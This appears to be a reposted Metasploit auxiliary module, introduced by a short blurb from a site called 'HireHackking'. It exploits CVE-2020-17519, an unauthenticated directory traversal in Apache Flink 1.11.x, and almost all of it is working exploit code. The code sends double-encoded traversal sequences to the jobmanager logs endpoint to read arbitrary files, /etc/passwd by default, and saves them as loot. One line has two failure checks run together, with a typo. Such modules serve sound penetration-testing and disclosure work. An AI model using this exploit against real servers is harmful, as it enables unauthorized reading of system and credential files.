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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Scanner
    include Msf::Auxiliary::Report

      def initialize(info = {})
          super(update_info(
            info,
            'Name'           => 'Apache Flink File Read Vulnerability',
            'Description'    => %q{
                This module exploits an unauthenticated directory traversal vulnerability
                in Apache Flink version 1.11.0 (and released in 1.11.1 and 1.11.2 as well),
                allowing arbitrary file read with the web server privileges
            },
            'Author'         =>
              [
                '0rich1 - Ant Security FG Lab', # Vulnerability discovery
                'Hoa Nguyen - Suncsr Team',    # Metasploit module
              ],
            'License'        => MSF_LICENSE,
            'References'     =>
              [
                ['CVE', '2020-17519'],
                ['URL', 'http://www.openwall.com/lists/oss-security/2021/01/05/2'],
                ['URL', 'https://www.tenable.com/cve/CVE-2020-17519']
              ],
            'Privileged'     => false,
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [['', {}]],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jan 05 2021'

            ))

            register_options([
                OptInt.new('DEPTH',[true,'Traversal Depth',12]),
                OptString.new('FILEPATH',[true,'The path file to read','/etc/passwd'])
            ])
            end

            def run_host(ip)
                traversal = '..%252f' * datastore['DEPTH']
                filename = datastore['FILEPATH'].gsub("/","%252f")
                filename = filename[1, filename.length] if filename =~ /^\//

                res = send_request_cgi({
                    'method' => 'GET',
                    'uri' => normalize_uri(target_uri.path,'jobmanager','logs',"#{traversal}#{filename}"),
                })

                fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
                fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?

                print_status('Downloading file...')
                print_line("\n#{res.body}\n")
                  fname = datastore['FILEPATH']
                  path = store_loot(
                  'apache.traversal',
                  'text/plain',
                  ip,
                  res.body,
                  fname
                )
                print_good("File saved in: #{path}")
            end
        end